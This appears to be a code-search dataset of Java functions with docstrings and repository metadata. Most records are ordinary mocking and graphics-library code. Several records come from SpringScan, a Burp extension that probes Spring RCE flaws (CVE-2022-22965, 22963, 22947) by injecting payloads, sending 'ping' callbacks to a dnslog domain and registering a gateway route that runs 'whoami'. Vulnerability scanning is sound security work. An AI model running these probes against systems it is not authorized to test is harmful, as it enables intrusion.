Check whether specified class is declared as mock container or has any method with mock-related annotation @param cn class to explore @return found annotation or not
MockClassParser::isMockClass
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java
MIT
private void handleMockContainerInherits(List<MethodInfo> methodInfos, ClassNode cn) { AnnotationNode an = AnnotationUtil.getClassAnnotation(cn, MOCK_CONTAINER); if (an != null) { for (Object st : AnnotationUtil.getAnnotationParameter(an, FIELD_INHERITS, Collections.<Type>emptyList(), List.class)) { String superClassName = ((Type)st).getClassName(); ClassNode superCn = ClassUtil.getClassNode(superClassName); if (superCn == null) { LogUtil.warn("failed to load class '%s' inherited by '%s'", superClassName, cn.name); continue; } for (MethodNode mn : getAllMethods(superCn)) { addMethodWithAnnotationCheck(methodInfos, cn, mn); } } } }
Take care of @MockContainer annotation
MockClassParser::handleMockContainerInherits
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java
MIT
private String lookForMockWithAnnotationAsSourceClass(String className) { ClassNode cn = ClassUtil.getClassNode(className); if (cn == null) { return null; } return parseMockWithAnnotation(cn, ClassType.SourceClass); }
Read @MockWith annotation upon class to fetch mock class @param className class that need to explore @return name of mock class, null for not found
TestableClassTransformer::lookForMockWithAnnotationAsSourceClass
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java
MIT
private String lookForInnerMockClass(ClassNode cn) { for (InnerClassNode ic : cn.innerClasses) { ClassNode innerClassNode = ClassUtil.getClassNode(ic.name); boolean isNameMatched = ic.name.equals(getInnerMockClassName(cn.name)) || AnnotationUtil.getClassAnnotation(innerClassNode, MOCK_CONTAINER) != null; if (isNameMatched && mockClassParser.isMockClass(innerClassNode)) { if ((ic.access & ACC_STATIC) == 0) { LogUtil.warn("Mock class in \"%s\" is not declared as static", cn.name); } else { ic.access = BytecodeUtil.toPublicAccess(ic.access); return ic.name; } } } return null; }
Read inner class "Mock" to fetch mock class @param cn class that need to explore @return name of mock class, null for not found
TestableClassTransformer::lookForInnerMockClass
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java
MIT
private String lookForMockWithAnnotationAsTestClass(ClassNode cn) { String mockClassName = parseMockWithAnnotation(cn, ClassType.TestClass); if (mockClassName != null) { MockAssociationUtil.mockToTests.get(mockClassName).add(ClassUtil.toJavaStyleClassName(cn.name)); return ClassUtil.toSlashSeparatedName(mockClassName); } return null; }
Read @MockWith annotation upon class to fetch mock class @param cn class that need to explore @return name of mock class, null for not found
TestableClassTransformer::lookForMockWithAnnotationAsTestClass
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java
MIT
public FontMetrics getMetrics() { try { Stats.onNativeCall(); return _nGetMetrics(_ptr); } finally { Reference.reachabilityFence(this); } }
Returns FontMetrics associated with Typeface. Results are scaled by text size but does not take into account dimensions required by text scale, text skew, fake bold, style stroke, and {@link PathEffect}.
Font::getMetrics
java
JetBrains/skija
shared/java/Font.java
https://github.com/JetBrains/skija/blob/master/shared/java/Font.java
Apache-2.0
public int getRuleStatus() { try { Stats.onNativeCall(); return _nGetRuleStatus(_ptr); } finally { Reference.reachabilityFence(this); } }
For rule-based BreakIterators, return the status tag from the break rule that determined the boundary at the current iteration position. <p> For break iterator types that do not support a rule status, a default value of 0 is returned. <p> @return The status from the break rule that determined the boundary at the current iteration position.
BreakIterator::getRuleStatus
java
JetBrains/skija
shared/java/BreakIterator.java
https://github.com/JetBrains/skija/blob/master/shared/java/BreakIterator.java
Apache-2.0
public int getGenerationId() { try { Stats.onNativeCall(); return _nGetGenerationId(_ptr); } finally { Reference.reachabilityFence(this); } }
<p>Return a unique value for this instance. If two calls to this return the same value, it is presumed that calling the draw() method will render the same thing as well.</p> <p>Subclasses that change their state should call notifyDrawingChanged() to ensure that a new value will be returned the next time it is called.</p>
Drawable::getGenerationId
java
JetBrains/skija
shared/java/Drawable.java
https://github.com/JetBrains/skija/blob/master/shared/java/Drawable.java
Apache-2.0
public Image makeImageSnapshot() { try { Stats.onNativeCall(); return new Image(_nMakeImageSnapshot(_ptr)); } finally { Reference.reachabilityFence(this); } }
<p>Returns Image capturing Surface contents.</p> <p>Subsequent drawing to Surface contents are not captured. Image allocation is accounted for if Surface was created with SkBudgeted::kYes.</p> @return Image initialized with Surface contents @see <a href="https://fiddle.skia.org/c/@Surface_makeImageSnapshot">https://fiddle.skia.org/c/@Surface_makeImageSnapshot</a>
Surface::makeImageSnapshot
java
JetBrains/skija
shared/java/Surface.java
https://github.com/JetBrains/skija/blob/master/shared/java/Surface.java
Apache-2.0
public int getUniqueId() { try { Stats.onNativeCall(); return _nGetUniqueId(_ptr); } finally { Reference.reachabilityFence(this); } }
Returns a non-zero value unique among all text blobs. @return identifier for TextBlob
TextBlob::getUniqueId
java
JetBrains/skija
shared/java/TextBlob.java
https://github.com/JetBrains/skija/blob/master/shared/java/TextBlob.java
Apache-2.0
public boolean isImmutable() { try { Stats.onNativeCall(); return _nIsImmutable(_ptr); } finally { Reference.reachabilityFence(this); } }
<p>Returns true if pixels can not change.</p> <p>Most immutable Bitmap checks trigger an assert only on debug builds.</p> @return true if pixels are immutable @see <a href="https://fiddle.skia.org/c/@Bitmap_isImmutable">https://fiddle.skia.org/c/@Bitmap_isImmutable</a>
Bitmap::isImmutable
java
JetBrains/skija
shared/java/Bitmap.java
https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java
Apache-2.0
public short getUTF32Glyph(int unichar) { try { Stats.onNativeCall(); return _nGetUTF32Glyph(_ptr, unichar); } finally { Reference.reachabilityFence(this); } }
This is a short-cut for calling {@link #getUTF32Glyphs(int[])}. @return the glyph that corresponds to the specified unicode code-point (in UTF32 encoding). If the unichar is not supported, returns 0
Typeface::getUTF32Glyph
java
JetBrains/skija
shared/java/Typeface.java
https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java
Apache-2.0
private static String determineConfigPath() { // Jar包所在目录 String jarPath = BurpExtender.callbacks.getExtensionFilename(); String jarDirectory = new File(jarPath).getParent(); return String.format("%s/config", jarDirectory); }
获取当前jar包目录
ConfigLoader::determineConfigPath
java
metaStor/SpringScan
src/main/java/burp/config/ConfigLoader.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java
MIT
private static void defaultConfigFile() { Map<String, Object> data = new HashMap<>(); List<String> list = new ArrayList<>(); list.add("xxxxxx.ceye.io"); list.add("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); data.put("isEnable", true); data.put("isErrorCheck", true); data.put("isReverseCheck", true); data.put("backendPlat", "Dnslog"); data.put("ceyes", list); YamlUtil.saveYaml(data, configFileName); }
初始化默认配置文件
ConfigLoader::defaultConfigFile
java
metaStor/SpringScan
src/main/java/burp/config/ConfigLoader.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java
MIT
public static void saveConfig(Map<String, Object> map) { YamlUtil.saveYaml(map, configFileName); }
保存配置文件
ConfigLoader::saveConfig
java
metaStor/SpringScan
src/main/java/burp/config/ConfigLoader.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java
MIT
public static Map<String, Object> loadConfig() { return YamlUtil.loadYaml(configFileName); }
读取配置文件
ConfigLoader::loadConfig
java
metaStor/SpringScan
src/main/java/burp/config/ConfigLoader.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java
MIT
private void initDomain() { String url = this.platform + "getdomain.php?t=0." + Utils.getRandomLong(); try { byte[] rawRequest = this.helpers.buildHttpRequest(new URL(url)); IHttpService service = this.helpers.buildHttpService("www.dnslog.cn", 80, "HTTP"); IHttpRequestResponse requestResponse = this.callbacks.makeHttpRequest(service, rawRequest); byte[] rawResponse = requestResponse.getResponse(); IResponseInfo responseInfo = this.helpers.analyzeResponse(rawResponse); // 获取响应包body内容 => 即dnslog的子域名 this.rootDomain = new String(rawResponse).substring(responseInfo.getBodyOffset()).trim(); // 提取cookie List<ICookie> cookies = responseInfo.getCookies(); for (ICookie cookie : cookies) { if (cookie.getName().equals("PHPSESSID")) { this.iCookie = cookie; } } this.stdout.println("[*] Get domain: " + this.rootDomain); } catch (MalformedURLException e) { e.printStackTrace(); this.stdout.println("[-] Fail to get domain"); this.stderr.println(e.getMessage()); } }
获取 dnslog 子域名
Dnslog::initDomain
java
metaStor/SpringScan
src/main/java/burp/backend/platform/Dnslog.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/backend/platform/Dnslog.java
MIT
private IScanIssue errorScan(IHttpRequestResponse httpRequestResponse, boolean reverseMethod) { byte[] newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机Agent-User头 // this.burpExtender.stdout.println(Utils.bytes2Hex(newHeaderRequest)); IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse); String method = requestInfo.getMethod(); // 验证poc1 IPoc poc1 = this.pocs[0]; String[] poc11 = poc1.genPoc().split("="); String key = poc11[0]; String value = String.format(poc11[1], Utils.randomStr(3)); String value2 = String.format(poc11[1], "false"); // 将poc作为新参数加入请求中 IParameter newParam = this.helpers.buildParameter(key, value, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY); byte[] newParamReq = this.helpers.addParameter(newHeaderRequest, newParam); if (reverseMethod) newParamReq = this.helpers.toggleRequestMethod(newParamReq); IHttpRequestResponse requestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamReq); IResponseInfo response1 = this.helpers.analyzeResponse(requestResponse1.getResponse()); // 第一次请求为报错状态码, if (Utils.isErrorStatusCode(response1.getStatusCode())) { newParam = this.helpers.buildParameter(key, value2, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY); newParamReq = this.helpers.addParameter(newHeaderRequest, newParam); if (reverseMethod) newParamReq = this.helpers.toggleRequestMethod(newParamReq); IHttpRequestResponse requestResponse2 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamReq); IResponseInfo response2 = this.helpers.analyzeResponse(requestResponse2.getResponse()); // 第二次正常请求,防止扫到原本就报错的站 if (!Utils.isErrorStatusCode(response2.getStatusCode())) { return new SpringIssue( requestInfo.getUrl(), "CVE-2022-22965", 0, "Medium", "UnCertain", null, null, "Spring Core RCE (ErrorDetect)" + "\n\n" + newParam.getName() + "=" + newParam.getValue(), null, new IHttpRequestResponse[]{requestResponse2}, requestResponse2.getHttpService() ); } } // 验证poc2 IPoc poc2 = this.pocs[1]; String[] poc22 = poc2.genPoc().split("="); int ranNum = Utils.getRandom(0, 10); // [0, 9]随机数字 key = Utils.urlEncode(String.format(poc22[0], ranNum)); value = String.format(poc22[1], ranNum); newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机header newParam = this.helpers.buildParameter(key, value, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY); newParamReq = this.helpers.addParameter(newHeaderRequest, newParam); requestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamReq); response1 = this.helpers.analyzeResponse(requestResponse1.getResponse()); // 第一次请求为报错状态码 if (Utils.isErrorStatusCode(response1.getStatusCode())) { // 与正常请求比较,防止扫到原本就报错的站 if (!Utils.isErrorStatusCode(this.burpExtender.helpers.analyzeResponse(httpRequestResponse.getResponse()).getStatusCode())) { return new SpringIssue( requestInfo.getUrl(), "CVE-2022-22965", 0, "Medium", "UnCertain", null, null, "Spring Core RCE (ErrorDetect)" + "\n\n" + newParam.getName() + "=" + newParam.getValue(), null, new IHttpRequestResponse[]{requestResponse1}, requestResponse1.getHttpService() ); } } return null; }
使用POC1/POC2进行回显检测漏洞 @param httpRequestResponse @param reverseMethod 是否变换请求 @return SpringCoreIssue
Scanner::errorScan
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private IScanIssue reverseScan(IHttpRequestResponse httpRequestResponse, boolean reverseMethod) { byte[] newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机Agent-User头 IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse); String method = requestInfo.getMethod(); this.initBackend(); String payload = Utils.randomStr(5) + "." + this.backend.generatePayload(); // poc3 IPoc poc3 = this.pocs[2]; String[] poc33 = poc3.genPoc().split("&"); String key1 = Utils.urlEncode(poc33[0].split("=")[0]); String value1 = Utils.urlEncode(String.format(poc33[0].split("=")[1], payload, Utils.randomStr(4))); String key2 = Utils.urlEncode(String.format(poc33[1].split("=")[0], Utils.randomStr(2))); String value2 = String.format(poc33[1].split("=")[1], Utils.randomStr(2)); // 构造参数 IParameter param1 = this.helpers.buildParameter(key1, value1, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY); IParameter param2 = this.helpers.buildParameter(key2, value2, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY); byte[] newParamsReq = this.helpers.addParameter(newHeaderRequest, param1); newParamsReq = this.helpers.addParameter(newParamsReq, param2); if (reverseMethod) newParamsReq = this.helpers.toggleRequestMethod(newParamsReq); IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamsReq); // 请求是否被ban if (this.helpers.analyzeResponse(requestResponse.getResponse()).getStatusCode() == 0) return null; this.burpExtender.stdout.println("[*] Reverse Checking Spring Core RCE for: " + requestInfo.getUrl().toString() + " ..."); // 20s内查看是否回连 try { for (int i = 0; i < 2; i++) { // this.burpExtender.stdout.println("[-] No." + i + " Checking " + requestInfo.getUrl().toString()); if (this.backend.checkResult(payload)) { return new SpringIssue( requestInfo.getUrl(), "CVE-2022-22965", 0, "High", "Certain", null, null, "Spring Core RCE" + "\n\n" + key1 + "=" + value1 + "&" + key2 + "=" + value2, null, new IHttpRequestResponse[]{requestResponse}, requestResponse.getHttpService() ); } Thread.sleep(10 * 1000); // sleep 10s } } catch (Exception e) { this.burpExtender.stderr.println(e.getMessage()); throw new CustomException("[-] BackendPlat is failed"); } return null; }
使用POC3进行回连检测漏洞 @param httpRequestResponse @return SpringCoreIssue
Scanner::reverseScan
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private IScanIssue CloudFunctionSpelRCE(IHttpRequestResponse httpRequestResponse) { // 加入是否是spring指纹的判断 if (!this.isSpringFinger(httpRequestResponse, false) && !this.isSpringFinger(httpRequestResponse, true)) return null; boolean is500 = false; // 是否打到500响应 byte[] newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机Agent-User头 IHttpService httpService = httpRequestResponse.getHttpService(); IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse); this.initBackend(); String payload = Utils.randomStr(5) + "." + this.backend.generatePayload(); // poc4/5 IPoc poc4 = this.pocs[3]; IPoc poc5 = this.pocs[4]; String[] poc44 = poc4.genPoc().split(":"); // poc4 => key:value // poc5 => key:value2 String key = poc44[0]; String value = String.format(poc44[1], payload); String value2 = String.format(poc5.genPoc().split(":")[1], "ping " + payload); // headers加入poc byte[] poc4Request = this.CloudFunctionSpelPOC(httpRequestResponse, key, value); byte[] poc5Request = this.CloudFunctionSpelPOC(httpRequestResponse, key, value2); try { // 打当前uri IHttpRequestResponse httpRequestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpService, poc4Request); IHttpRequestResponse httpRequestResponse2 = this.burpExtender.callbacks.makeHttpRequest(httpService, poc5Request); // 打到500就检测回连 is500 = this.helpers.analyzeResponse(httpRequestResponse1.getResponse()).getStatusCode() == 500 || this.helpers.analyzeResponse(httpRequestResponse2.getResponse()).getStatusCode() == 500; requestInfo = this.helpers.analyzeRequest(httpRequestResponse2); // record 数据包 // 打当前uri+/functionRouter byte[] frRequest = this.helpers.buildHttpRequest(new URL(httpService.getProtocol(), httpService.getHost(), httpService.getPort(), Utils.getUri(requestInfo.getUrl().toString()) + "functionRouter")); IHttpRequestResponse frRequestResponse = this.burpExtender.callbacks.makeHttpRequest(httpService, frRequest); // 是否存在默认路由 if (this.helpers.analyzeResponse(frRequestResponse.getResponse()).getStatusCode() != 404) { poc4Request = this.CloudFunctionSpelPOC(frRequestResponse, key, value); poc5Request = this.CloudFunctionSpelPOC(frRequestResponse, key, value2); httpRequestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), poc4Request); httpRequestResponse2 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), poc5Request); requestInfo = this.helpers.analyzeRequest(httpRequestResponse2); // record 数据包 // 打到500就检测回连 is500 = this.helpers.analyzeResponse(httpRequestResponse1.getResponse()).getStatusCode() == 500 || this.helpers.analyzeResponse(httpRequestResponse2.getResponse()).getStatusCode() == 500; } // 打完check poc再检测是否回连 if (is500) { this.burpExtender.stdout.println("[*] Reverse Checking Spring Cloud Function SpEL RCE for: " + requestInfo.getUrl().toString() + " ..."); // 20s内查看是否回连 for (int i = 0; i < 2; i++) { // this.burpExtender.stdout.println("[-] No." + i + " Checking Spring Cloud Function SpEL RCE for: " + requestInfo.getUrl().toString()); if (this.backend.checkResult(payload)) { return new SpringIssue( requestInfo.getUrl(), "CVE-2022-22963", 0, "High", "Certain", null, null, "Spring Cloud Function SpEL RCE" + "\n\n" + "(Maybe) URI: /functionRouter\n" + "Headers: " + key + ":" + value + "\nor\n" + key + ":" + value2, null, new IHttpRequestResponse[]{httpRequestResponse2}, httpRequestResponse2.getHttpService() ); } Thread.sleep(10 * 1000); // sleep 10s } return new SpringIssue( requestInfo.getUrl(), "CVE-2022-22963 [no reverse]", 0, "High", "High", null, null, "Spring Cloud Function SpEL RCE" + "\n\n" + "(Maybe) URI: /functionRouter\n" + "Headers: " + key + ":" + value + "\nor\n" + key + ":" + value2, null, new IHttpRequestResponse[]{httpRequestResponse2}, httpRequestResponse2.getHttpService() ); } } catch (Exception e) { e.printStackTrace(); this.burpExtender.stderr.println(e.getMessage()); throw new CustomException("[-] BackendPlat is failed"); } return null; }
Spring Cloud Function SpEL RCE (CVE-2022-22963) @param httpRequestResponse @return IScanIssue
Scanner::CloudFunctionSpelRCE
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private byte[] CloudFunctionSpelPOC(IHttpRequestResponse httpRequestResponse, String key, String value) { try { IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse); byte[] rawRequest = httpRequestResponse.getRequest(); List<String> headers = requestInfo.getHeaders(); headers.add(key + ":" + value); headers.set(0, headers.get(0).replace("GET", "POST")); headers.removeIf(header -> header != null && header.toLowerCase().startsWith("content-type:")); headers.add("Content-type: application/x-www-form-urlencoded"); rawRequest = new String(rawRequest).substring(requestInfo.getBodyOffset()).getBytes(); IParameter param = this.helpers.buildParameter(Utils.randomStr(6), "1", IParameter.PARAM_BODY); return this.helpers.addParameter(this.helpers.buildHttpMessage(headers, rawRequest), param); } catch (Exception e) { e.printStackTrace(); this.burpExtender.stderr.println(e.getMessage()); return null; } }
生成CloudFunctionSpel POC 1. 将key:value作为poc插入到headers中 2. 改GET为POST请求 3. POST内容随机 @param httpRequestResponse @param key @param value @return pocRequest
Scanner::CloudFunctionSpelPOC
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private IScanIssue CloudGatewayScan(IHttpRequestResponse httpRequestResponse) { boolean isProdApi = false; // 这里判断是否有spring 404的特征: Whitelabel Error Page if (!this.isSpringFinger(httpRequestResponse, false) && !this.isSpringFinger(httpRequestResponse, true)) { // 无spring 404特征的情况下判断是否有routes if (this.isSpringGatewayFinger(httpRequestResponse, true)) { isProdApi = true; } else if (!this.isSpringGatewayFinger(httpRequestResponse, false)){ return null; } } URL url = this.helpers.analyzeRequest(httpRequestResponse).getUrl(); String uri = Utils.getUri(url.toString()) + (isProdApi ? "prod-api/" : ""); String random_uri = Utils.randomStr(5); if (this.CloudGatewayRegisterRoute(httpRequestResponse, uri, random_uri, "whoami")) { if (this.CloudGatewayRefresh(httpRequestResponse, uri)) { IHttpRequestResponse requestResponse = this.CloudGatewayRoute(httpRequestResponse, uri, random_uri, false); if (requestResponse != null) { // 删除路由 this.CloudGatewayRoute(httpRequestResponse, uri, random_uri, true); this.CloudGatewayRefresh(httpRequestResponse, uri); } return new SpringIssue( url, "CVE-2022-22947", 0, "High", "Certain", null, null, "Spring Cloud GateWay SPEL RCE", null, new IHttpRequestResponse[]{requestResponse}, requestResponse.getHttpService() ); } } return null; }
Spring Cloud GateWay SPEL RCE (CVE-2022-22947) 一共发五个请求: 包含恶意SpEL表达式的路由 -> 刷新路由 -> 访问添加的路由查看结果 -> 删除路由 -> 刷新路由 TODO: 循环解析URI 判断每一层目录是否具有Spring指纹 @param httpRequestResponse @return IScanIssue
Scanner::CloudGatewayScan
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private boolean CloudGatewayRegisterRoute(IHttpRequestResponse httpRequestResponse, String uri, String random_uri, String cmd) { try { IHttpService service = httpRequestResponse.getHttpService(); // poc IPoc poc6 = this.pocs[5]; String poc66 = this.helpers.bytesToString(this.helpers.base64Decode(poc6.genPoc())); poc66 = String.format(poc66, random_uri, cmd); byte[] refreshRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), uri +"actuator/gateway/routes/" + random_uri)); // headers List<String> headers = new ArrayList<String>(); headers.add("POST " + uri + "actuator/gateway/routes/" + random_uri + " HTTP/1.1"); headers.add("Host: " + service.getHost() + ":" + service.getPort()); headers.add("User-Agent: " + RandomHeaders.randomHeader()); headers.add("Accept-Encoding: gzip, deflate"); headers.add("Accept-Language: en"); headers.add("Accept: */*"); headers.add("Content-Type: application/json"); headers.add("Connection: close"); headers.add("Content-Length: " + poc66.length()); byte[] poc66_byte = this.helpers.stringToBytes(poc66); byte[] newRequest = this.helpers.buildHttpMessage(headers, poc66_byte); // this.burpExtender.stdout.println(this.helpers.bytesToString(newRequest)); IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(service, newRequest); IResponseInfo responseInfo1 = this.helpers.analyzeResponse(requestResponse.getResponse()); if (responseInfo1.getStatusCode() == 201) return true; } catch (MalformedURLException e) { e.printStackTrace(); this.burpExtender.stderr.println(e.getMessage()); } return false; }
注册随机路由并打入POC6 @param httpRequestResponse @param uri @return true/false
Scanner::CloudGatewayRegisterRoute
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private boolean CloudGatewayRefresh(IHttpRequestResponse httpRequestResponse, String uri) { try { IHttpService service = httpRequestResponse.getHttpService(); // uri byte[] refreshRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), uri + "actuator/gateway/refresh")); // headers List<String> headers = new ArrayList<String>(); headers.add("POST " + uri + "actuator/gateway/refresh HTTP/1.1"); headers.add("Host: " + service.getHost() + ":" + service.getPort()); headers.add("User-Agent: " + RandomHeaders.randomHeader()); headers.add("Accept-Encoding: gzip, deflate"); headers.add("Accept: */*"); headers.add("Content-Type: application/x-www-form-urlencoded"); headers.add("Connection: close"); // 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取 IRequestInfo requestInfo = this.helpers.analyzeRequest(service, refreshRequest); refreshRequest = new String(refreshRequest).substring(requestInfo.getBodyOffset()).getBytes(); // 组装请求 byte[] newRequest = this.helpers.buildHttpMessage(headers, refreshRequest); IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(service, newRequest); IResponseInfo responseInfo1 = this.helpers.analyzeResponse(requestResponse.getResponse()); if (responseInfo1.getStatusCode() == 200) return true; } catch (MalformedURLException e) { e.printStackTrace(); this.burpExtender.stderr.println(e.getMessage()); } return false; }
刷新路由 /actuator/gateway/refresh @return
Scanner::CloudGatewayRefresh
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private IHttpRequestResponse CloudGatewayRoute(IHttpRequestResponse httpRequestResponse, String uri, String random_uri, boolean deleteRoute) { try { IHttpService service = httpRequestResponse.getHttpService(); // uri byte[] refreshRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), uri + "actuator/gateway/routes/" + random_uri)); // headers List<String> headers = new ArrayList<String>(); headers.add(((deleteRoute) ? "DELETE " : "GET ") + uri + "actuator/gateway/routes/" + random_uri + " HTTP/1.1"); headers.add("Host: " + service.getHost() + ":" + service.getPort()); headers.add("User-Agent: " + RandomHeaders.randomHeader()); headers.add("Accept-Encoding: gzip, deflate"); headers.add("Accept: */*"); headers.add("Content-Type: application/x-www-form-urlencoded"); headers.add("Connection: close"); // 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取 IRequestInfo requestInfo = this.helpers.analyzeRequest(service, refreshRequest); refreshRequest = new String(refreshRequest).substring(requestInfo.getBodyOffset()).getBytes(); // 组装请求 byte[] newRequest = this.helpers.buildHttpMessage(headers, refreshRequest); IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(service, newRequest); byte[] rawResponse = requestResponse.getResponse(); IResponseInfo responseInfo1 = this.helpers.analyzeResponse(rawResponse); String strResponse = this.helpers.bytesToString(rawResponse); if (responseInfo1.getStatusCode() == 200 && strResponse.contains(random_uri) && strResponse.contains("Result")) { return requestResponse; }; } catch (MalformedURLException e) { e.printStackTrace(); this.burpExtender.stderr.println(e.getMessage()); } return null; }
访问注册的路由获取RCE结果 返回结果响应输出到UI @param httpRequestResponse @param uri @param random_uri @param deleteRoute 是否删除路由 @return
Scanner::CloudGatewayRoute
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private boolean isSpringFinger(IHttpRequestResponse httpRequestResponse, boolean isVersion2x) { try { IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse); IHttpService service = httpRequestResponse.getHttpService(); String url = requestInfo.getUrl().toString(); if (isVersion2x) { // springboot 2.x url = Utils.getUri(url) + "actuator/" + Utils.randomStr(5); } byte[] newRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), url)); requestInfo = this.helpers.analyzeRequest(service, newRequest); // 重新打包好新的uri请求 // header中Accpet: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 List<String> headers = requestInfo.getHeaders(); for (String header: headers) { if (header.startsWith("Accept")) { // 坑点: 带冒号匹配会报错 headers.remove(header); headers.add("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"); break; } } // 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取 IRequestInfo requestInfo1 = this.helpers.analyzeRequest(service, newRequest); newRequest = new String(newRequest).substring(requestInfo1.getBodyOffset()).getBytes(); // 组装请求 newRequest = this.helpers.buildHttpMessage(headers, newRequest); IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newRequest); String body = new String(requestResponse.getResponse()).substring(this.helpers.analyzeResponse(requestResponse.getResponse()).getBodyOffset()).toLowerCase(); if (body.contains("whitelabel error page")) { this.burpExtender.stdout.println("[*] Detect Spring Finger: " + url); return true; } } catch (MalformedURLException e) { e.printStackTrace(); this.burpExtender.stderr.println(e.getMessage()); } return false; }
SpringBoot 1.x 随机访问一个uri路z径, 判断响应内容是否有spring特征 (Whitelabel Error Page) SpringBoot 2.x 访问/actuator/xxx, 判断响应内容是否有spring特征 (Whitelabel Error Page) @param httpRequestResponse @return
Scanner::isSpringFinger
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
